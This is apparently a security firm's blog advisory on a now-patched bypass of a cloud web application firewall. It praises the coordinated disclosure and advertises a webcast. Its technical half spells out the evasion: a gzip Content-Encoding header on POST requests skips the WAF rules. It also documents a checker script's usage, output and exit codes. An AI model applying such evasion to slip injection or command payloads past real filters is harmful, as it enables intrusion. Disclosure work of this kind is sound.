During a recent investigation, the Bishop Fox Cosmos Adversarial Operations experts identified a WAF rule bypass in the Imperva Cloud Web Application Firewall. Through our coordinated Responsible Disclosure Process, Bishop Fox notified Imperva, kicking off a great collaboration between teams to share information about the exploit. This cooperative effort enabled Imperva’s team to quickly develop a patch and deploy it in record time to the Imperva Global Network.
We believe that this type of collaborative work between organizations is a model for how Responsible Disclosure can and should work. It also illustrates how offensive and defensive security organizations can combine forces to ensure the best outcomes for organizations and continually improve security.
At Bishop Fox, we are focused on improving security for everyone. When we find vulnerabilities, our goal is to work with organizations to close potential attack windows as quickly and efficiently as possible. We don’t believe in leveraging vulnerabilities for our own benefit or stockpiling exposures to further our own siloed testing abilities or line our pockets.
We believe in:
In this instance, the Imperva team was immediately responsive to our findings and quickly resolved the issue – which is always our desired outcome.
In the course of testing a client environment, the Bishop Fox team discovered the Imperva Cloud WAF was vulnerable to a bypass that allowed attackers to evade WAF rules when sending malicious HTTP POST payloads, such as Log4j exploits, SQL injection, command execution, directory traversal, and XXE. This was of particular concern given the recent prevalence of the Log4j vulnerability.
Imperva activated their team as soon as Bishop Fox reported the vulnerability to them, and they turned around a global fix in just a few days. All customers of Cloud WAF were automatically patched as of December 23, 2021.
We’ve teed up a webcast to talk about the collaboration between Imperva and Bishop Fox and unpack what we consider an ideal example of the Responsible Disclosure process. We invite you to go behind the scenes with executives from both companies as they discuss this recent real-world example and explore how offensive and defensive security organizations can and should be combining forces.
Register for our webcast on February 2, 2022 at 2 p.m. ET / 11 a.m. PT for insights into:
The Imperva WAF was affected by a post request vulnerability. This security vulnerability could lead to attackers evading WAF rules when sending malicious HTTP POST payloads, such as log4j exploits, SQL injection, command execution, directory traversal, XXE, etc.
Add the header Content-Encoding: gzip to HTTP POST requests. Leave POST data as-is. Don't encode it. So long as the first four bytes of the Content-Encoding header are gzip, no WAF rules will be applied to POST requests. You can do this in Burp by using the proxy's Match & Replace feature:
Add a new header like this:
That's it; you're good to go.
Run imperva_gzip.py
against a URL that supports POST requests like this:
Syntax: ./imperva_gzip.py [[-t] | [-r]] URL
Guess the WAF type for a given URL:
$ ./imperva_gzip.py -t https://www.vulnerable.com/search Imperva Incapsula $ ./imperva_gzip.py -t https://www.wordpress-user.com/login WordFence $ ./imperva_gzip.py -t https://www.cloudflare-customer.com Cloudflare
Check to see if the WAF is vulnerable to the gzip bypass:
$ ./imperva_gzip.py https://www.vulnerable.com/search [+] Can we make POST requests to https://www.vulnerable.com/search? [+] Checking for Imperva WAF... [+] Attempting gzip bypass for UNIX trigger... [+] Vulnerable! HTTP response code: 200 [+] Attempting gzip bypass for Windows trigger... [+] Vulnerable! HTTP response code: 200
If you get this error:
$ ./imperva_gzip.py https://www.vulnerable.com/search [+] Can we make POST requests to https://www.vulnerable.com/search? [!] Can't POST to https://www.vulnerable.com/search. Try -r if 30x redirects are allowed. HTTP response code: 302
then try passing -r
on the command line to enable relaxed mode. Relaxed mode is off by default, which means a POST request is expected to elicit an HTTP 200 response from the server. -r expands the acceptable responses to HTTP 2xx, 3xx.
The exit codes for imperva_gzip.py
are as follows:
0: Returned after getting WAF type. 1: Command-line was invalid. 2: There was an error connecting. Could be DNS error, timeout, etc. 3: No WAF was detected; malicious UNIX/Windows payloads weren't blocked. 4: A WAF was detected, but it wasn't Imperva. 5: The server responded to a test POST request with something other than HTTP 200. 128: There is an Imperva WAF, but it is not vulnerable to the gzip bypass. 129: The bypass was effective for the UNIX payload, but not the Windows one. 130: The bypass was effective for the Windows payload, but not the UNIX one. 131: The bypass was effective against both Windows and UNIX payloads.
Send three POST requests:
Content-Encoding: gzip
to the same malicious request and verify that Imperva doesn't block itAccording to https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Encoding, there are four valid values for the Content-Encoding header:
In testing, only gzip worked as a bypass.
Subscribe to Bishop Fox's Security Blog
Be first to learn about latest tools, advisories, and findings.